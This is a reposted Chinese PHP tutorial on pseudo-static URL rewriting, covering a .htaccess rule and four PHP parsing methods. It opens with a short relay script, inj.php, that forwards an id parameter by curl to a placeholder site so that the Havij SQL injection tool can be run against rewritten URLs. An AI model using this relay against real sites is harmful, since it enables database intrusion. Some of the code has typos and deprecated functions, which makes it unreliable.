您当前的位置: 首页 > 网站编程 > PHP教程 > PHP 伪静态技术原理以及突破原理实现介绍

PHP 伪静态技术原理以及突破原理实现介绍

作者:不详 来源:网络 发布时间: 2014-08-17 23:14 点击:
伪静态技术比较好突破,需要自己构造中转注入页面;伪静态技术原理都很简单,就是把原来的 index.php?id=1 这种形式的URL给替换成其它形式 先说实现方法: inj.php: 复制代码 代码如下: ?php set_time_limit(10); $id=$_GET[id]; $id=str_replace( ,%20,$id); $id=str_

PHP 伪静态技术原理以及突破原理实现介绍

  伪静态技术比较好突破,需要自己构造中转注入页面;伪静态技术原理都很简单,就是把原来的 index.php?id=1 这种形式的URL给替换成其它形式

  先说实现方法:

  inj.php:

  复制代码 代码如下:

  <?php

  set_time_limit(10);

  $id=$_GET["id"];

  $id=str_replace(" ","%20",$id);

  $id=str_replace("=","%3D",$id);

  $url="http://www.xxx.com/index.php/library/more/id/$id.html";

  $ch=curl_init();

  curl_setopt($ch,CURLOPT_URL,"$url");

  curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);//启用时将curl_init()获取的信息以文件流的形式返回,而不是直接输出

  curl_setopt($ch,CURLOPT_HEADER,0);//启用时会将头文件的信息作为数据流输出

  $output=curl_exec($ch);

  curl_close($ch);

  print_r($output);

  ?>

  用wamp搭建一个服务器,把上面inj.php放到wamp/www/中,然后在Havij中跑 http://127.0.0.1/inj.php?id=1

  =============================

  PHP伪静态实现方法一(利用Apache 服务器的功能)

  1、检查Apache是否支持mod_rewrite

  2、让Apache 支持.htaccess

  3、建立.htaccess文件

  4、规则:

  RewriteEngine on

  RewriteRule ([a-zA-Z]{1,})-([0-9]{1,}).html$index.php?action=$1&id=$2

  ([a-zA-Z]{1,})-([0-9]{1,}) 是 URL长啥样

  $1 是([a-zA-Z]{1,}) 所匹配的

  $2 是[0-9]{1,} 所匹配的

  比如说:www.xx.com/page-18.html

  真实的URL如下:

  action = page

  id = 18

  ============================

  PHP伪静态实现方法二(编码实现)

  $Php2Html_FileUrl = $_SERVER["REQUEST_URI"]

  echo $Php2Html_FileUrl

  例子:// localhost/php100/test.php?id|1@action|2

  复制代码 代码如下:

  $Php2Html_UrlString = str_replace("?","",str_replace("/","",strrchr(strrchr($Php2Html_FileUrl,"/"),"?")) ))

  /*

  内层的strrchr出来:/test.php?id|1@action|2

  外层的strrchr出来:id|1@action|2

  内层的str_replace出来:把 / 号去掉,本例子 没有

  外层的str_replace出来:把 ?号去掉,本例子 没有

  */

  $Php2Html_UrlQueryStrList = explode("@",$Php2Html_UrlString);

  /*把str变成以@为界限划分的数组:id|1 和 action|2*/

  foreach($Php2Html_UrlQueryStrList as $Php2Html_UrlQueryStr)

  {

  $Php2Html_TmpArray = explode("|",$Php2Html_UrlQueryStr);

  /* id => 1 和 action => 2*/

  $_GET[$Php2Html_TmpArray[0]] = $Php2Html_TmpArray[1];

  }

  ============================

  PHP伪静态实现方法三(编码实现)

  例子: localhost/php100/test.php/1/2

  复制代码 代码如下:

  $filename = basename($_SERVER["SCRIPT_NAME"]);

  echo $_SERVER["SCRIPT_NAME"];

  echo $filename;

  if(strtolower($filename) == 'test.php'){

  if(!empty($_GET[id])){

  $id=intval($_GET[id]);

  echo $id;

  $action = intval($_GET[action]);

  echo $action;

  }else{

  $nav=$_SERVER["REQUEST_URI"];

  $script=$_SERVER["SRCIPT_NAME"];

  //这句话应该是把URL前面那段给搞掉。。剩下 "1/2"之类的。。

  $nav=ereg_replace("$script","",urldecode($nav));

  echo $nav;

  $vars = explode("/",$nav);

  print_r($vars);

  $id=intval($vars[1]);

  $action=intval($vars[2]);

  }

  echo $id.'&'.$action;

  }

  ============================

  PHP伪静态实现方法四(编码实现)

  复制代码 代码如下:

  function mod_rewrite(){

  global $_GET;

  $nav = $_SERVER["REQUEST_URI"];

  $script_name = $_SERVER["SCRIPT_NAME"]

  $nav=substr(ereg_replace("$script_name"),"",urldecode($nav)),1);

  $nav=preg_replace("/^.ht(m){1}(l){0,1}$/","",$nav);//去掉尾部的htm或html

  $vars=explode("/",$nav);

  print_r($vars);

  for($i=0;$i<count($vars);$i+=2)

  {

  $_GET[$vars[$i]] = $vars[$i+1];

  }

  return $_GET;

  }

  ============================

  PHP伪静态实现方法五(编码实现)

  例子:/1,100,8630.html

  复制代码 代码如下:

  if(preg_match(“//(d+),(d+),(d+).html/si”,$path_info,$arr_path)){

  $gid =intval($arr_path[1]); //取得值1

  $sid =intval($arr_path[2]); //取得值100

  $softid =intval($arr_path[3]); //取得值8630

  }

  else

  echo "Path:Error!";

  总结下:

  (1)伪静态技术比较好突破,需要自己构造中转注入页面。

  (2)伪静态技术原理都很简单,就是把原来的 index.php?id=1 这种形式的URL给替换成其它形式。
分享到:
本文"PHP 伪静态技术原理以及突破原理实现介绍"由远航站长收集整理而来,仅供大家学习与参考使用。更多网站制作教程尽在远航站长站。
顶一下
(0)
0%
踩一下
(0)
0%
[点击 次] [返回上一页] [打印]
发表评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
表情:
用户名: 密码: 验证码:
关于本站 - 联系我们 - 广告合作 - 网站声明 - 友情连接- 网站地图 - 站点地图 - 返回顶部
Copyright © 2007-2013 www.yhzhan.com(远航站长). All Rights Reserved .
远航站长:为中小站长提供最佳的学习与交流平台,提供网页制作与网站编程等各类网站制作教程.
官方QQ:445490277 网站群:26680406 网站备案号:豫ICP备07500620号-4